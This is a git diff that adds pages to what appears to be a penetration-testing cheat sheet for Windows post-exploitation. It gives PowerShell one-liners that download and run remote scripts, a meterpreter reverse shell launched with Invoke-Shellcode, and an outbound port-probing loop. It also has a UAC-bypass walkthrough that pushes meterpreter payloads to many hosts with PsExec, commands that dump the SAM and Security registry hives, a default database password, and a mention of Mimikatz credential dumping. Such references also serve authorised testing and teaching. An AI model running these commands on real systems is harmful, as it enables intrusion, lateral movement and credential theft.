http://www.integraxor.com/forum/viewtopic.php?f=2&t=75&start=10 + +- - - - + +**Instance**: EASYSHIP / DHLEASYSHIP + +**Sofware**: + + * sa/DHLadmin@1 + * Reference: http://rayotter.com/dhl/HTA/Create_Shipper_and_Defaults.hta.txt + +- - - - + +**Instance**: SQLEXP_VIM + +**Software**: http://www.vmware.com/products/vcenter-server/ + + * No default username/password. Usually Active Directory-based login. + +- - - - + +**Instance**: VEEAMSQL2008R2 + +**Software**: http://www.veeam.com/vm-backup-recovery-replication-software.html?ad=menu + + * No default username/password. Usually Active Directory-based login. + diff --git a/windows/persistance.md b/windows/persistance.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/windows/persistance.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/windows/powershell.md b/windows/powershell.md new file mode 100644 index 0000000..9d63b01 --- /dev/null +++ b/windows/powershell.md @@ -0,0 +1,21 @@ +# Windows Powershell Commands and Scripts for Post Exploitation + +One liners +----------- + +**Download and Execute Remote Powershell Script** + +```iex (New-Object Net.WebClient).DownloadString("http://host/file.txt")``` + +**Download and Save File** + +```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')``` + +**Enumerate Allowed Outbound Ports 1-1024** + +```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); +$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}``` + +**Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)** + +```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force``` \ No newline at end of file diff --git a/windows/privesc.md b/windows/privesc.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/windows/privesc.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/windows/remote.md b/windows/remote.md new file mode 100644 index 0000000..cc95915 --- /dev/null +++ b/windows/remote.md @@ -0,0 +1,111 @@ + + + +# Windows Remote Access Commands + +Commands that move data and files between systems on a network and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## Miscellaneous +### dir + * **Command with arguments**: `dir \\[computername|ip]\share` + * **Description**: **Must have token to the remote system.** See `net use` below to establish such a connection. Displays the contents of the remote computer's share. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir \\192.168.10.34\c$ + Volume in drive \\192.168.10.34\c$ has no label. + Volume Serial Number is 1A09-5F16
+ Directory of \\192.168.10.34\c$
+09/18/2006 05:43 PM 24 autoexec.bat +09/18/2006 05:43 PM 10 config.sys +01/19/2008 05:40 AM PerfLogs +10/08/2013 07:36 PM Program Files +10/23/2013 08:20 PM temp +10/10/2013 08:59 PM Users +10/23/2013 08:38 PM Windows + 2 File(s) 34 bytes + 5 Dir(s) 33,316,192,256 bytes free
+ +### qprocess + * **Command with arguments**: `qprocess * [/SERVER:computername]` + * **Description**: Shows information about processes locally or remotely if you provide the computername or IP. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>qprocess * /SERVER:192.168.1.2 + USERNAME SESSIONNAME ID PID IMAGE + (unknown) services 0 0 + (unknown) services 0 4 system + (unknown) services 0 268 smss.exe + (unknown) services 0 356 csrss.exe + (unknown) services 0 408 wininit.exe +>(unknown) console 1 420 csrss.exe +>(unknown) console 1 460 winlogon.exe + (unknown) services 0 516 services.exe +>johndoe console 1 1584 dwm.exe +>johndoe console 1 1600 explorer.exe + (unknown) services 0 1708 vmtoolsd.exe +>johndoe console 1 1936 vmwaretray.exe +>johndoe console 1 1944 vmtoolsd.exe + (unknown) services 0 316 tpautoconnsv... +>johndoe console 1 1716 tpautoconnec... +>johndoe console 1 1680 conhost.exe + (unknown) services 0 1984 searchindexe... + (unknown) services 0 2076 msdtc.exe + (unknown) services 0 2844 svchost.exe + (unknown) services 0 2920 sppsvc.exe + (unknown) services 0 2976 svchost.exe +>johndoe console 1 3576 cmd.exe +>johndoe console 1 3540 conhost.exe +>johndoe console 1 2340 cmd.exe +>johndoe console 1 1560 conhost.exe +>johndoe console 1 3616 qprocess.exe
+ +### qwinsta + * **Command with arguments**: `qwinsta [/SERVER:computername]` + * **Description**: Shows information about Remote Desktop Sessions locally or remotely if you provide the computername or IP. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
>console johndoe 1 Active
rdp-tcp 65536 Listen
+ +### Remote Assistance Enable + * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f` + * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f +The operation completed successfully.
+ +### Remote Desktop Enable + * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f` + * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f +The operation completed successfully.
+ +### tasklist + * **Command with arguments**: `tasklist /v /s [computername|IP]` + * **Description**: Retrieve the current running processes from the remote system. [Microsoft manual](http://technet.microsoft.com/en-us/library/bb491010.aspx). + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Windows\system32>tasklist /V /S 192.168.10.34
Type the password for WIN-V32NJ7H3AQE\johndoe:************************


Image Name PID Session Name Session# Mem Usage User Name CPU Time
========================= ======== ================ =========== ============ ================================================== ============
System Idle Process 0 0 24 K N/A 4:01:47
System 4 0 2,244 K N/A 0:00:13
smss.exe 388 0 696 K NT AUTHORITY\SYSTEM 0:00:00
csrss.exe 452 0 4,992 K NT AUTHORITY\SYSTEM 0:00:01
csrss.exe 492 1 10,800 K NT AUTHORITY\SYSTEM 0:00:17
wininit.exe 500 0 3,740 K NT AUTHORITY\SYSTEM 0:00:00
winlogon.exe 532 1 4,244 K NT AUTHORITY\SYSTEM 0:00:00
services.exe 580 0 7,308 K NT AUTHORITY\SYSTEM 0:00:03
lsass.exe 592 0 36,968 K NT AUTHORITY\SYSTEM 0:00:06
lsm.exe 600 0 5,128 K NT AUTHORITY\SYSTEM 0:00:00
svchost.exe 840 0 6,576 K NT AUTHORITY\SYSTEM 0:00:02
svchost.exe 908 0 6,652 K NT AUTHORITY\NETWORK SERVICE 0:00:00
svchost.exe 984 0 7,976 K NT AUTHORITY\LOCAL SERVICE 0:00:02
svchost.exe 1036 0 7,992 K NT AUTHORITY\SYSTEM 0:00:00
svchost.exe 1056 0 26,740 K NT AUTHORITY\SYSTEM 0:00:08
SLsvc.exe 1072 0 11,280 K NT AUTHORITY\NETWORK SERVICE 0:00:12
svchost.exe 1124 0 9,720 K NT AUTHORITY\LOCAL SERVICE 0:00:01
svchost.exe 1184 0 8,888 K NT AUTHORITY\SYSTEM 0:00:01
svchost.exe 1208 0 15,332 K NT AUTHORITY\NETWORK SERVICE 0:00:01
svchost.exe 1368 0 10,140 K NT AUTHORITY\LOCAL SERVICE 0:00:00
taskeng.exe 1572 0 7,024 K NT AUTHORITY\SYSTEM 0:00:00
spoolsv.exe 1680 0 9,892 K NT AUTHORITY\SYSTEM 0:00:00
dfsrs.exe 1732 0 8,608 K NT AUTHORITY\SYSTEM 0:00:00
dns.exe 1756 0 39,456 K NT AUTHORITY\SYSTEM 0:00:00
+---- + +## net +### net time + * **Command with arguments**: `net time \\[computername|ip]` + * **Description**: Display the time from the remote system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net time \\192.168.10.34 +Current time at \\192.168.10.34 is 10/23/2013 9:03:04 PM
+The command completed successfully.
+ +### net use + * **Command with arguments**: `net use \\[computername|ip] [/user:DOMAIN\USERNAME] [password] ` + * **Description**: Create a connection to the remote computer. This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. If the user you launch the command as is not valid on the remote system you will need to specify a valid DOMAIN\USER and PASSWORD. This is useful when you have credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net use \\192.168.10.34 /user:lab\johndoe +The password or user name is invalid for \\192.168.10.34.
+Enter the password for 'lab\johndoe' to connect to '192.168.10.34': +The command completed successfully.
diff --git a/windows/uac.md b/windows/uac.md new file mode 100644 index 0000000..25fd6ac --- /dev/null +++ b/windows/uac.md @@ -0,0 +1,61 @@ +# UAC Bypassing + +### PsExec.exe method + +For this example, lets just assume that you have gotten a meterpreter shell on a box. For the purposes of this demonstration, this box will be called Box0. Box0 is not a very kind soul though, and as thus although you have an admin shell on it, the UAC is preventing you from dumping the hashes of the system. You would like to upgrade this shell, but alas, the box is running Windows Vista with UAC, which is getting in the way of you escalating your privileges. Furthermore, the box appears to be patched and up to date, so you can't take advantage of any local OS or application exploits to gain privileges. So what can we do? + +For starters we can turn to PsExec. PsExec will allow us to run commands against a remote machine, and comes with a handly little option, -h. + +``` + -h If the target system is Vista or higher, has the process + run with the account's elevated token, if available. +``` + +Seems handy for what were planning to do. Before we dive in though, I want to quickly note that the way UAC works for an admin user is that there is a normal token that is used for everyday activities and then there is a elevated privileges token that is used for special activities. This is why although we can't dump the hashes just yet, we have the normal admin token, but not the elevated one we need. Keep in mind that various boxes thoughtout the network may have either of these tokens, but only the elevated one will grant the privileges that we want, allowing us to do hash dumping and other fun stuff :) + +Continuing on, the first step that we want to do is upload a copy of PsExec.exe and an encoded copy of a malicious meterepreter exe (see the Veil project for details on how to do this) up to the server. To do this, we could do: + +``` +upload *path to meterpreter exe* \\users\\*target user here*\\metpr.exe +upload *path to PsExec.exe* \\users\\*target user here*\\PsExec.exe +``` + +The next step to do is to gather a list of target IP addresses that you would like to try using your exploited user's authentication credentials against. Once you have done this, save it to a file (targets.txt in our example) and upload it to Box0. + +``` +upload *path to targets.txt* \\users\\*target user here*\\targets.txt +``` + +We then can run PsExec.exe as follows: + +``` +PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe +``` + +I'll breifly explain the options. "-accepteula" sets the appropriate flag in the registry to make sure that the EULA agreement notification does not randomly pop up on the exploited user's machine. "-c" makes sure that we copy our meterpreter exe (metpr.exe) across to any system where the credentials work, whilst "-f" makes sure we overwrite the file if it already exists. "-h" is the important option here, which will run the meterpreter payload on any machine where the credentials works with the elevated token if the account on that machine has a elevated token attached to it (see PsExec output above). Finally, "-d" will make sure we don't wait for termination (run in background). + +Now provided this command runs and we end up uploading and executing the meterpreter payload on a target in our targets.txt file that has admin rights, 2 things will happen. First off, we will not need to worry about credentials as if the user we are authenticating to on the remote machine is an admin (aka the user we compromised is admin on the remote machine), then the credentials for our compromized user will automatically be passed on to the remote machine, thus giving us access to the admin user on that machine without us needing to know the password. Secondly, if the user that we compromised is an admin on this machine, when the meterpreter exe executes, it will bypass the UAC, running instead as the priviledged admin user (it will use the elevated privileges token tied to that account). At this point, we now have a elevated shell on the second box, which we shall call Box1 for the rest of this document (this is after we do a getsystem on Box1 to elevate our privileges (which we can now do as we have the elevated privileges token we didn't have before)). + +We do have a slight problem though. Due to something called the double hop issue (http://support.microsoft.com/default.aspx?scid=kb;en-us;329986) we can't actually use the elevated privileges on Box1 to pass on the elevated privileges to Box0. This is because you can't pass resources more than 1 hop. In our example the first hop is from Box0 to Box1, and the second hop is Box1 to Box0. If we were to try doing this, we would end up trying to authenticate as the NTAUTHORITY\ANONYMOUS user as we would only have the secondary token to Box0, not the primary one (elevated privileges) that we need. The only way we could get around this is if we knew the password for the client on Box0, at which point we could then elevate privileges to the required level. To solve this problem we can use PsLoggedon.exe. + + +- - - - - - + +### PsLoggedon.exe + +- - - - - - + +We now need to find another host where our user is running with a primary token so that we can escalate privileges on Box0. To do this, we will use PsLoggedon.exe from same PsTools suite that PsExec.exe comes from. Taking the targets.txt file that we created, here is the command to pass through the credentials of our currently compromized user and find out where else he/she is logged in: + +``` +for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "*compromized user's name goes here*" >NUL && echo %i +``` + +This will list all of the boxes where our user is logged into. We can then target this box with the PsExec.exe method we used in the last example. Once we have a shell on the new host from that, we can then dump the credentials with Mimikatz if we want. This box will also have a primary key that we can then use to elevate our shell on Box0, thereby bypassing UAC. + +- - - - - - +### Credits + +All credits for the examples and explanation comes from Tim Medin's post which you can find here: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass +The examples are all his work and I take no ownership for them. This article is mearly a rewording of what he has written in my own (tekwizz123's) words. + diff --git a/windows/windows_cmd_config.md b/windows/windows_cmd_config.md new file mode 100755 index 0000000..892a106 --- /dev/null +++ b/windows/windows_cmd_config.md @@ -0,0 +1,254 @@ + + + +# Windows CMD Config Commands + +Commands that display information about the configuration of the victim and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## Misc +### c:\windows\system32\gathernetworkinfo.vbs + * **Command**: `c:\windows\system32\gathernetworkinfo.vbs` + * **Command with arguments**: NA + * **Description**: **Windows 7 Only** Script included gathers data about the system and stores output in files in the `c:\windows\system32\config` directory. External link [here.](http://www.verboon.info/index.php/2011/06/the-gathernetworkinfo-vbs-script/) + * **Output**: + * NA + +### echo + * **Command**: `echo` + * **Command with arguments**: `echo %COMSPEC%%` + * **Description**: Determine the location of the command line interpreter such as cmd.exe. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>echo %COMSPEC%
C:\Windows\system32\cmd.exe
+ +### fsutil + * **Command**: `set` + * **Command with arguments**: `fsutil fsinfo drives` + * **Description**: **Must be ADMIN to run this.** Lists the current drives on the system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Windows\system32>fsutil fsinfo drives

Drives: A:\ C:\ D:\
+ +### gpresult + * **Command**: `gpresult` + * **Command with arguments**: `gpresult /z` + * **Description**: Extremely verbose output of GPO (Group policy) settings as applied to the current system and user. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>gpresult /z

Microsoft (R) Windows (R) Operating System Group Policy Result tool v2.0
Copyright (C) Microsoft Corp. 1981-2001

Created On 10/15/2013 at 7:02:05 PM


RSOP data for LAB\johndoe on WIN-0P19ULL2NB6 : Logging Mode
------------------------------------------------------------

OS Configuration: Primary Domain Controller
OS Version: 6.0.6002
Site Name: N/A
Roaming Profile: N/A
Local Profile: C:\Users\johndoe
Connected over a slow link?: No


USER SETTINGS
--------------
CN=johndoe,CN=Users,DC=lab,DC=sky,DC=net
Last time Group Policy was applied: 10/12/2013 at 6:20:23 PM
Group Policy was applied from: WIN-0P19ULL2NB6.lab.sky.net
Group Policy slow link threshold: 500 kbps
Domain Name: LAB
Domain Type: Windows 2000

Applied Group Policy Objects
-----------------------------
N/A

The following GPOs were not applied because they were filtered out
-------------------------------------------------------------------
Local Group Policy
Filtering: Not Applied (Empty)

Default Domain Policy
Filtering: Not Applied (Empty)

The user is a part of the following security groups
---------------------------------------------------
Domain Users
Everyone
BUILTIN\Users
BUILTIN\Administrators
BUILTIN\Pre-Windows 2000 Compatible Access
NT AUTHORITY\INTERACTIVE
NT AUTHORITY\Authenticated Users
This Organization
LOCAL
High Mandatory Level

The user has the following security privileges
----------------------------------------------


Resultant Set Of Policies for User
-----------------------------------
+ +### set + * **Command**: `set` + * **Command with arguments**: NA + * **Description**: Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\johndoe\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=WIN-0P19ULL2NB6
ComSpec=C:\Windows\system32\cmd.exe
DFSTRACINGON=FALSE
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Users\johndoe
LOCALAPPDATA=C:\Users\johndoe\AppData\Local
LOGONSERVER=\\WIN-0P19ULL2NB6
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 42 Stepping 7, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=2a07
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
PROMPT=$P$G
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\johndoe\AppData\Local\Temp\1
TMP=C:\Users\johndoe\AppData\Local\Temp\1
TRACE_FORMAT_SEARCH_PATH=\\winseqfe\release\Windows6.0\lh_sp2rtm\6002.18005.090410-1830\x86fre\symbols.pri\TraceFormat
USERDNSDOMAIN=LAB.SKY.NET
USERDOMAIN=LAB
USERNAME=johndoe
USERPROFILE=C:\Users\johndoe
windir=C:\Windows
+ +### whoami + * **Command**: `whoami` + * **Command with arguments**: `whoami /all` + * **Description**: Lists information about the user you are currently logged in as. Helpful for showing what groups, sid and privileges of this user. Not available in all versions of Windows but is in Windows Vista and more recent. According to [Wikipedia](http://en.wikipedia.org/wiki/Whoami), this command can be added to Windows 2000 using the resource kit and is installed in Windows XP SP2 Support Tools. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>whoami
lab\johndoe

C:\Users\johndoe>whoami/all

USER INFORMATION
----------------

User Name SID
=========== ===========================================
lab\johndoe S-1-5-21-60789211-843652525-1994898995-1001


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192 Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
+ +### type + * **Command**: `type` + * **Command with arguments**: `type %WINDIR%\System32\drivers\etc\hosts` + * **Description**: Show the contents of a file. In this case, you can get the system's host file which does the local translation of IP address to hostname. This file may contain important servers. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>type %WINDIR%\System32\drivers\etc\hosts
# Copyright (c) 1993-2006 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
::1 localhost
+---- + +## Registry (reg) +For more information: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/reg.mspx?mfr=true or http://www.petri.co.il/reg_command_in_windows_xp.htm + +### Add + * **Command with arguments**: `reg add [\\TargetIPaddr\] [RegDomain\Key]` + * **Description**: Adds a key to target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to insert. + * **Output**: + * NA + +### Export + * **Command with arguments**: `reg export [RegDomain\Key] [OUTFILE]` + * **Description**: Exports a key to a file. Replace [RegDomain\Key] with the registry domain and key you'd like to insert and [OUTFILE] with the name of the file you would like to save the registry key in. + * **Output**: + * NA + +### Import + * **Command with arguments**: `reg import [INFILE]` + * **Description**: Imports content to target machine's registry. Replace [INFILE] with the file that has the content you wish to insert. + * **Output**: + * NA + +### Query (Local) + * **Command with arguments**: `reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"` + * **Description**: Securely registered executables within the system registry. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\TPVCGateway.exe
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe
(Default) REG_SZ C:\Program Files\Internet Explorer\iexplore.exe
LocalizedString REG_SZ @C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-1008
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-101
(Default) REG_SZ C:\Program Files\Internet Explorer\IEXPLORE.EXE
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareTray.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\rpctool.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\unzip.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\Common Files\VMware\Drivers\vss\comreg.exe
+ +### Query (Remote) + * **Command with arguments**: `reg query [\\TargetIPaddr\] [RegDomain\Key] /v [ValueName]` + * **Description**: Retrieves a key and value from target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to query. + * **Output**: + * NA + +### Save + * **Command with arguments**: `reg save [HIVE] [OUTFILE]` + * **Description**: **Must be run as an administrator.** Saves part of the registry to a file. Replace [HIVE] with HKLM\Security, HKLM\System, or HKLM\SAM and [OUTFILE] with the name of the file you would like to save the registry in. + * **Output**: + *
**Windows 2008:** Show/Hide
c:\temp>reg save HKLM\Security security.hive && dir
The operation completed successfully.
Volume in drive C has no label.
Volume Serial Number is 1A09-5F16
Directory of c:\temp
10/26/2013 11:17 PM .
10/26/2013 11:17 PM ..
10/26/2013 11:17 PM 32,768 security.hive
1 File(s) 32,768 bytes
2 Dir(s) 33,312,219,136 bytes free
+---- + +## sc +sc.exe retrieves and sets control information about services. You can use sc.exe for testing and debugging service programs. For more information: http://technet.microsoft.com/en-us/library/bb490995.aspx. +
Help details can be found if you expand this section here: Show/Hide
C:\Users\tester>sc +DESCRIPTION: + SC is a command line program used for communicating with the + Service Control Manager and services. +USAGE: + sc [command] [service name] ... + + The option has the form "\\ServerName" + Further help on commands can be obtained by typing: "sc [command]" + Commands: + query-----------Queries the status for a service, or + enumerates the status for types of services. + queryex---------Queries the extended status for a service, or + enumerates the status for types of services. + start-----------Starts a service. + pause-----------Sends a PAUSE control request to a service. + interrogate-----Sends an INTERROGATE control request to a service. + continue--------Sends a CONTINUE control request to a service. + stop------------Sends a STOP request to a service. + config----------Changes the configuration of a service (persistent). + description-----Changes the description of a service. + failure---------Changes the actions taken by a service upon failure. + failureflag-----Changes the failure actions flag of a service. + sidtype---------Changes the service SID type of a service. + privs-----------Changes the required privileges of a service. + qc--------------Queries the configuration information for a service. + qdescription----Queries the description for a service. + qfailure--------Queries the actions taken by a service upon failure. + qfailureflag----Queries the failure actions flag of a service. + qsidtype--------Queries the service SID type of a service. + qprivs----------Queries the required privileges of a service. + qtriggerinfo----Queries the trigger parameters of a service. + qpreferrednode--Queries the preferred NUMA node of a service. + delete----------Deletes a service (from the registry). + create----------Creates a service. (adds it to the registry). + control---------Sends a control to a service. + sdshow----------Displays a service's security descriptor. + sdset-----------Sets a service's security descriptor. + showsid---------Displays the service SID string corresponding to an arbitrary name. + triggerinfo-----Configures the trigger parameters of a service. + preferrednode---Sets the preferred NUMA node of a service. + GetDisplayName--Gets the DisplayName for a service. + GetKeyName------Gets the ServiceKeyName for a service. + EnumDepend------Enumerates Service Dependencies. + + The following commands don't require a service name: + sc
+ +### Query Configuration + * **Command with arguments**: `sc qc [servicename]` + * **Description**: Queries the configuration information for a service. Things to look at here are the path to the executable, the start type (does it start at boot or on demand?), and service names. + * **Output**: + *
**Windows 2008:** Show/Hide
c:\Users\johndoe>sc qc browser +[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP : NetworkProvider
TAG : 0
DISPLAY_NAME : Computer Browser
DEPENDENCIES : LanmanWorkstation
: LanmanServer
+ SERVICE_START_NAME : LocalSystem
+ +### Query Status + * **Command with arguments**: `sc query [servicename]` + * **Description**: Queries the status for a service, or enumerates the status for types of services. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>sc query browser

SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
+ +### Query Status Extended + * **Command with arguments**: `sc queryex [servicename]` + * **Description**: Queries the status for a service, or enumerates the status for types of services. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>sc queryex browser
+SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
+---- + +## wmi +According to Microsoft (http://msdn.microsoft.com/en-us/library/aa394531(v=vs.85).aspx), "the WMI command-line (WMIC) utility provides a command-line interface for WMI. WMIC is compatible with existing shells and utility commands." Additional information can also be found here https://isc.sans.edu/diary/Windows+Command-Line+Kung+Fu+with+WMIC/1229. + +For some of these `wmic` commands that pull information (versus perform an action) you can add `list full` to the end and retrieve the data in a non-table format. Sometimes this view is easier to read. Using `list brief` shows less data. The examples below show several output formats. + +### BIOS Information + * **Command with arguments**: `wmic bios [list full]` + * **Description**: Retrieves BIOS information including system serial number. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic bios list full


BiosCharacteristics={4,7,8,9,10,11,12,14,15,16,19,26,27,28,29,30,32,39,40,41,42,50,57,58}
BuildNumber=
CodeSet=
CurrentLanguage=
Description=PhoenixBIOS 4.0 Release 6.0
IdentificationCode=
InstallableLanguages=
InstallDate=
LanguageEdition=
ListOfLanguages=
Manufacturer=Phoenix Technologies LTD
Name=PhoenixBIOS 4.0 Release 6.0
OtherTargetOS=
PrimaryBIOS=TRUE
ReleaseDate=20120920000000.000000+000
SerialNumber=VMware-56 4d 8b 9d 3b a9 3a b4-a7 09 2d ff 09 9a e2 26
SMBIOSBIOSVersion=6.00
SMBIOSMajorVersion=2
SMBIOSMinorVersion=4
SMBIOSPresent=TRUE
SoftwareElementID=PhoenixBIOS 4.0 Release 6.0
SoftwareElementState=3
Status=OK
TargetOperatingSystem=0
Version=INTEL - 6040000
+ +### Disk Information + * **Command with arguments**: `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber` + * **Description**: Retrieve information about the harddrive. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
FileSystem FreeSpace Name Size SystemName VolumeSerialNumber
NTFS 33311481856 C: 42947571712 WIN-0P19ULL2NB6 1A095F16
+ +### Patch IDs + * **Command with arguments**: `wmic qfe get hotfixid` + * **Description**: Retrieves BIOS information including system serial number. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic qfe get hotfixid
HotFixID
KB955430
+ +### Process Create + * **Command with arguments**: `wmic process call create [EXECUTABLE]` + * **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe"). + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
